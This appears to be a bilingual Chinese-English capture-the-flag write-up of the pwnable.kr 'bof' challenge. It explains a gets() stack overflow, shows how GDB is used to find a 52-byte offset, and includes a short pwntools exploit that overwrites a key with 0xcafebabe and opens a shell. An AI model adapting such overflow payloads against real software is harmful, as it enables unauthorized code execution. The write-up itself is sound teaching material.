本文记录了 pwnable.kr 中 bof 题目的解题过程。核心漏洞在于程序使用了不安全的 gets() 函数且未做长度校验,导致经典的栈溢出漏洞 。通过使用 GDB 进行动态调试,计算出用户输入缓冲区的起始地址与目标变量 key 的内存地址之间的偏移量为 52 个字节。最终,利用 Python 的 pwntools 库编写 EXP,向远程端口发送构造好的 Payload(52 字节的无用字符填充 + 目标值 0xcafebabe),成功覆盖关键变量并获取了交互式 Shell。 This write-up documents the solution process for the bof challenge on pwnable.kr. The core vulnerability lies in the program's use of the unsafe gets() function without length validation, leading to a classic stack overflow vulnerability. By using GDB for dynamic debugging, it was calculated that the offset between the start address of the user input buffer and the memory address of the target variable 'key' is 52 bytes. Finally, an exploit (EXP) was written using the Python pwntools library to send a crafted payload (52 bytes of filler characters + the target value 0xcafebabe) to the remote port, successfully overwriting the key variable and obtaining an interactive shell.
Bof
ssh bof@pwnable.kr -p2222 (pw: guest)
三个文件:readme,bof.c,bof

根据代码得出这是一个栈溢出漏洞。主要是因为gets()参数,传入的数据不检查长度。
题目不难,主要是要将0xcafebabe值添加到key参数。
根据readme,可知要查看文件需要连接到nc 0 9000,然后输入key值。
使用gdb调试(难点)
我们要查看的参数位置在func函数中,所以我们要打一个断点
b func (在func()暂停)
gdb bof (调试文件bof)
start,run(开始调试)
n (下一行)

左边箭头指的是当前要运行的参数位置,右边是当前运行的函数。

当我们运行到这个gets函数时再下一行,就会要求我们输入,输入后,可以使用stack 30 展开当前得三十行位置

可以看到我们输入的值在0xffffd4fc,而目标值在0xffffd530
我们可以计算他们的值为52字节
所以当gets()参数激活时,我们应该输入b’A’ * 52 + p32(0xcafebabe)
但是我们要连接到nc 0 9000,所以使用pwn

from pwn import *
# 连接目标
p = remote('0',9000)
# 构造payload
payload = b'A' * 52 + p32(0xcafebabe)
# 发送payload
p.sendline(payload)
# 获得交互式
p.interactive()Bof
ssh bof@pwnable.kr -p2222 (pw: guest)
Three files: readme, bof.c, bof

From the code, this is a stack overflow vulnerability. Mainly due to the gets() parameter, which does not check the length of the input data.
The challenge is not difficult; the main task is to add the value 0xcafebabe to the key parameter.
According to the readme, to view the file you need to connect to nc 0 9000, then input the key value.
Using gdb for debugging (difficulty)
The parameter location we need to check is in the func function, so we need to set a breakpoint
b func (pause at func())
gdb bof (debug the file bof)
start, run (start debugging)
n (next line)

The left arrow indicates the current parameter location to be executed, the right side shows the currently executing function.

When we run to the gets function and step to the next line, it will ask for input. After entering, use `stack 30` to expand the current thirty lines.

It can be seen that our input value is at 0xffffd4fc, while the target value is at 0xffffd530.
We can calculate the distance between them as 52 bytes.
Therefore, when the gets() parameter is activated, we should input b'A' * 52 + p32(0xcafebabe)
But we need to connect to nc 0 9000, so we use pwn

from pwn import *
# Connect to the target
p = remote('0',9000)
# Construct payload
payload = b'A' * 52 + p32(0xcafebabe)
# Send payload
p.sendline(payload)
# Obtain interactive shell
p.interactive()